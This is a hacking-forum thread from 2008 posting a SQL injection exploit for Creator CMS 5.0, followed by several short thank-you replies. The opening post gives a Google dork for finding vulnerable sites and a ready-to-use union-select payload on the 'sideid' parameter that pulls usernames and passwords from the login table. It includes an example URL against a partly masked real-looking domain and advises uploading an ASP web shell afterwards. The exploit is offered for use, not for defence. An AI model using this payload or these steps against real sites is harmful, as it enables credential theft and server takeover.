Creator CMS 5.0 (sideid) Remote SQL Injection Vulnerability

**saswata** · 09-10-2008

Code:

# Exploit : Creator CMS 5.0 Remote SQL Injection Vulnerability
#
# Vendor : www.cmind.dk
#
# Founded By : ThE X-HaCkEr From X9 Team ( ThE X-HaCkEr & dr.9)
#     
# Greetz To : tryag.cc & saudihack.com & hackteach.org all muslim
#
# Email : the-x-hacker[@]hotmail[.]fr
#
# Google D0rk : allinurl:index.asp?sideid=

POC : www.site.com/index.asp?sideid=[SQL]

SQL : 1+union+select+concat(username,0x3a,password),2,3+from+login/*

Example : http://www.xxx.dk/index.asp?sideid=28+union+select+concat(username,0x3a,password),2,3+from+login/*

You can upload an asp shell through file manager

Enjoy !!!

devil_eye · 11-04-2008

taaaaaaaaaaaaaaaaankx

luffya · 11-19-2008

thank you

..::revolution::.. · 1 Day Ago

thank you

turka15 · 17 Hours Ago

Nice find thanks!

17 Hours Ago	#5 (permalink)
turka15 Junior Member Join Date: Jan 2009 Posts: 28 Thanks: 2 Thanked 0 Times in 0 Posts Rep Power: 2	Nice find thanks! __________________ To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts. To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts. To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts. To view links or images in signatures your post count must be 10 or greater. You currently have 0 posts. I JUST LOVE SMILEYS [X] Post something ( Keygens and stuff) [ ] Get VIP [ ] 25 Posts [ ] 50 Posts [ ] 100 Posts [ ] 300 posts [ ] 1000 Posts [ ] Make a steam hack [X] Getting VAC BANNED

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode

Similar Threads
Thread	Thread Starter	Forum	Replies	Last Post
Pre Ads Portal <= 2.0 Remote SQL Injection Vulnerability	Armageddon	Exploit Codes	0	08-18-2008 02:54 PM
CMS-BRD (menuclick) Remote SQL Injection Vulnerability	Armageddon	Exploit Codes	0	08-17-2008 04:56 PM
ShopCartDx 4.30 (pid) Remote SQL Injection Vulnerability	Armageddon	Exploit Codes	0	08-13-2008 10:02 AM
BBlog 0.7.6 (mod) Remote SQL Injection Vulnerability	Armageddon	Exploit Codes	0	08-13-2008 09:50 AM
Remote SQL Injection Vulnerability	Wh!5t\|eR	Exploit Codes	0	08-03-2008 08:22 AM

11-04-2008	#2 (permalink)
devil_eye Leecher Join Date: Oct 2008 Posts: 10 Thanks: 3 Thanked 0 Times in 0 Posts Rep Power: 9	taaaaaaaaaaaaaaaaankx

11-19-2008	#3 (permalink)
luffya Leecher Join Date: Nov 2008 Age: 28 Posts: 6 Thanks: 1 Thanked 0 Times in 0 Posts Rep Power: 0	thank you

1 Day Ago	#4 (permalink)
..::revolution::.. Leecher Join Date: Jan 2009 Posts: 11 Thanks: 0 Thanked 0 Times in 0 Posts Rep Power: 2	thank you

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)